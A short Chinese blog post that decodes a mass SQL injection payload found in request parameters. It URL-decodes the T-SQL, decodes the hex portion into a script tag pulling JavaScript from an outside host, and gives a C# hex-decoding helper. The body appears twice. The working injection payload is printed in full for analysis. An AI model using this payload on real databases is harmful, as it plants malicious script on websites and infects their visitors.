C# 解密一段SQL注入脚本
2008-07-21 09:00
381 查看
大概输入的一段参数
exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f"
1:看到 %20%2b,很显然这是URLEncode,通过Server.UrlDecode方法解密得到
exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') f
2:可以很清楚的看到cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67)) 这段也是编过码的。看到ox开头应该是16进制。
最简单的方式是在MSSQL中运行
SELECT cast(0x223E223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))
就可以看到如下结果:
">"></title><script src=http://s.see9.us/s.js></script><!--
但为了以后方便。写了一段C#代码:
public static string Decode(string decode)
{
string result = "";
for (int i = 0; i < decode.Length / 2; i++)
{
result += (char)short.Parse(decode.Substring(i * 2, 2), global::System.Globalization.NumberStyles.HexNumber);
}
return result;
}
exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20f"
1:看到 %20%2b,很显然这是URLEncode,通过Server.UrlDecode方法解密得到
exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') f
2:可以很清楚的看到cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67)) 这段也是编过码的。看到ox开头应该是16进制。
最简单的方式是在MSSQL中运行
SELECT cast(0x223E223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))
就可以看到如下结果:
">"></title><script src=http://s.see9.us/s.js></script><!--
但为了以后方便。写了一段C#代码:
public static string Decode(string decode)
{
string result = "";
for (int i = 0; i < decode.Length / 2; i++)
{
result += (char)short.Parse(decode.Substring(i * 2, 2), global::System.Globalization.NumberStyles.HexNumber);
}
return result;
}
相关文章推荐
- c# 防止sql注入对拼接sql脚本的各个参数处理
- C#执行SQL脚本文件
- 浅析Android手游lua脚本的加密与解密
- 使用C#作为Cocos2dx引擎脚本语言进行游戏开发——脚本运行时基础(二)
- C#自定义RSA加密解密及RSA签名和验证封装类
- Unity3D脚本-C#
- 【转】C#加密解密总结
- C#中让WebBrowser运行Javascript脚本
- 网站漏洞处理(SQL注入、XSS脚本攻击、防外站提交)以及扩展思路
- 可以相互解密的C#版及C++版DES算法代码(包括ECB、CBC模式,Zeros、PKCS7填充,以及Base64编解码)
- 一段防注入的通用脚本
- Unity。。。刚体在c#脚本里调用rigidbody.freezePosition或者冻结任意一个轴或组合冻结
- Unity内置编译器MonoDevelop C#脚本 中文的使用
- C#在一段数字区间内随机生成若干个互不相同的随机数
- C#创建数字证书并导出为pfx,并使用pfx进行非对称加解密
- unity3D C#脚本实现鼠标拖动物体
- 一段取得翻唱排行榜上歌曲名称,艺人,地址的脚本程序
- unity3D C#脚本实现鼠标拖动物体
- C# 调用并执行SQL脚本文件
- C#脚本实践(一)